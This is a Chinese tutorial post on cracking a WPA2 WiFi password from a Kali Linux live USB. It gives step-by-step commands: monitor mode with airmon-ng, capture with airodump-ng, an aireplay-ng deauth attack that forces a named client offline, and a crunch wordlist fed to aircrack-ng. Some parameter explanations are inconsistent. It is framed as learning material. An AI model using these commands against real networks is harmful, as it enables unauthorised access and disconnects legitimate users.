记一次无线网卡实现wifi渗透

前言：

#请大家遵守网络安全法！本教程仅供学习和教学，切勿做违法的事情，让我们一起做一个守法公民！

这里的无网卡指的是不去上网购买网卡，但是还是需要用到笔记本电脑自带的网卡。这时，我们并不采用虚拟机来开启kali Linux，而是采用制作U盘，用usb启动的方式来打开kali Linux系统，实现笔记本自带网卡的wifi渗透 

那么下面开始教程，史上最详细，小白也会懂 

一．先制作带有kali Linux镜像的U盘 

1.进入kali官网：Get Kali | Kali Linux 

2.下滑会找到 

3.点击live boot 

4.点击此处下载  

5.下载好镜像后继续下载usb制作器Rufus 

下载地址：Rufus - 轻松创建USB启动盘 

6.准备就绪后将Rufus上的选择都按如图选择 

 7. 可能会收到有关ISOHybird图像的提示。选择ISO映像，将允许您从Kali Linux ISO编辑文件，但可能会失去硬件兼容性。因此，我们建议选择 DD 映像。 

 注意：如果选择“DD映像”选项，则可以在USB驱动器上创建另一个分区，从而允许您使用其余空间。开始 ->运行 （Windows + R） -> diskmgmt.msc -> 找到 USB 驱动器 -> 右键单击“未分配” -> 新建简单卷 -> 按照向导的其余部分与下一步，下一步，下一步... 

8.等待加载完后，U盘就制作完成了 

二．Usb启动项启动kali Linux 

这时需要关闭电脑，在点开电源键时疯狂按进入BIOS的按键 

比如：我的电脑是dell，我的BIOS启动是f12，每个牌子的电脑有着不同的进入BIOS的特殊按键，这个需要上网去查。  

进入后页面是这样 

 选择开头是USB的进入（但我的电脑没有显示usb，可能是U盘的问题），即可进入kali Linux系统 

 三．Wifi渗透实验 

1.设置无线网卡监听模式 

首先列出所有可能干扰无线网卡的程序，并终止这些程序：sudo airmon-ng check 

 打开监听（混杂模式），并查看此时无线网卡状态 

sudo airmon-ng start wlan0 

iwconfig 

 此时无线网卡变成了‘wlan0mon’ 

接着重启网卡 

sudo ifconfig wlan0mon down 

sudo iwconfig wlan0mon mode monitor 

sudo ifconfig wlan0mon up 

2.开启探测并抓包 

开启探测：sudo airodump-ng wlan0mon 

得到周围WiFi信息： 

 选取我们要攻击的WiFi，例如backup mac为：8C:DE:F9:25:7A:B8  CH为1 

开始抓包：sudo airodump-ng –ivs –bssid 8C:DE:F9:25:7A:B8 -w longas.txt -c 1 wlan0mon 

 此时，home文件夹里出现了longas.txt-01.ivs文件 

 --bssid 是路由器的mac地址 

-w 是写入到文件longas.txt中0 

-c 11 是频道11 

--ivs 是之抓取可用于破解的iVS数据报文 

3．攻击获得WPA2握手验证数据包 

这里为了获得破解所需的WPA2握手验证的整个完整数据包，我们将会发送一种称之为“deauth”的数据包来将已经连接至无线路由器的合法无线客户端强制断开，此时，客户端就会自动重新连接无线路由器，我们也就有机会捕获到包含WPS2握手验证的完整数据包了。 

接下来就需要进行攻击了：新开一个shell 

sudo aireplay-ng -0 5 -a 8C:DE:F9:25:7A:B8 -c 28:39:26:38:7D:9B wlan0mon 

 -0采用deauth攻击模式，后面跟上攻击次数，这里我设置为5，大家可以根据实际情况设置为1-10不等 

-a后面跟路由器mac地址 

-c后面跟客户端（即连接在此wifi上的某一台设备）的mac地址 

此时抓包界面出现“handshake”，即得到了包含WPA2握手验证的完整数据包longas.txt-01.ivs，结束抓包 

 4．使用crunch得到密码字典 

Crunch是kali Linux自带的程序 

在shell中输入命令： 

crunch 8 8 -t saic%%%% -b 20mb -o START 

 min 设定最小字符串长度 

max 设定最大字符串长度 

-t 指定密码输出的格式 

Crunch特殊字符 

1.%代表数字 

2.^代表特殊符号 

3.@ 代表小写字母 

4.，代表大写符 

-b 指定文件输出的大小为20mb 

-o 将密码保存到指定文件，后面必须为START 

具体参数可参照： 

linuxcrunch命令参数,crunch命令详解 以及使用方法（综合我的经验）_春雪芳菲的博客-CSDN博客 

会生成下面这一长串文件 

 将这一长串重命名得到密码字典 

passwd.txt 

 5．遍历字典破译WiFi密码 

sudo aircrack-ng -w passwd.txt longas.txt-01.ivs 

耐心等候以后得到： 

 结语：为了写这个贴子，我的电脑直接坏了，这个故事告诉我们，没事别随便重启电脑，重启电脑次数多了电脑直接开不开机，我重新刷了机才能打开，原来保存的东西全部丢失，我emo了……………..